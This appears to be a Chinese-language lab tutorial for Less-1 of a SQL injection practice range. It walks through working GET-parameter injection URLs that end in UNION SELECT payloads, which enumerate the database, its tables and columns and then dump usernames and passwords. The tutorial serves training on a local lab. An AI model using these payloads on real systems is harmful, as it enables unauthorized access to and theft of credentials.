靶场及环境配置参考
一,工具准备。
推荐下载火狐浏览器,并下载harkbar插件(v2)版本。hackbar使用教程在此不做过多描述。
补充:url栏内部信息会进行url编码。
二,SQL注入-less1。
1,判断传参方式。
先输入
http://192.168.61.206:8001/Less-1/?id=1 //查看是否有回显
有回显,说明是get类型的传参。
尝试其他参数,以确认漏洞存在。
http://192.168.61.206:8001/Less-1/?id=2
2,判断闭合符,闭合所输入的语句,以使得后续的SQL语句溢出,达到运行的目的。
得知,闭合符是单引号。
3,判断有几个字段。
order by:对结果集进行列排序。
在url栏输入:
http://192.168.61.206:8001/Less-1/?id=1'order by 3 --+
--+ //注释掉后续的的代码,以让输入的语句的得以执行。
order by 3 不报错。
order by 4 报错,说明此处只有三个字段。
4,查库名。
使用select和 datebase指令,在此处利用union联合查询以获取库名。
http://192.168.61.206:8001/Less-1/?id=-1' union select 1,database(),3 --+
union查询可以select多条语句并用(只能select)可以显示没有的东西。
union:两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。
展示空间不够前面会覆盖后面内容,所以接下来用-1,让前面命令执行不成功,以显示后续的内容。
database()为查询库名。
得到数据库名。
5,查询数据库内的表名。
http://192.168.61.206:8001/Less-1/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() --+
注意:MySQL自带的几个特殊库.
MySQL自带Information_schema库。
Information_schema库里有两个特殊的表。
表tables记录了库名和表名。
表columns:库里面有什么表,表里面有什么字段。
table_schema:记录了所有库的库名。
table_name.记录了表。
column_name:记录了字段。
6,多次重复此操作(需要改LIMIT),以获得所有表名。
http://192.168.61.206:8001/Less-1/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' LIMIT 1,1 --+
LIMIT1,表示从第二行开始取,取一行。
7,得到字段名。
http://192.168.61.206:8001/Less-1/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
8,得到敏感信息。
http://192.168.61.206:8001/Less-1/?id=-1' union select 1,2,group_concat(username , password) from users--+
三,总结。
sql注入为入门级的漏洞,现如今已经极为少见,但仍有其典型性。从此开始,便正式进入了黑客的大门。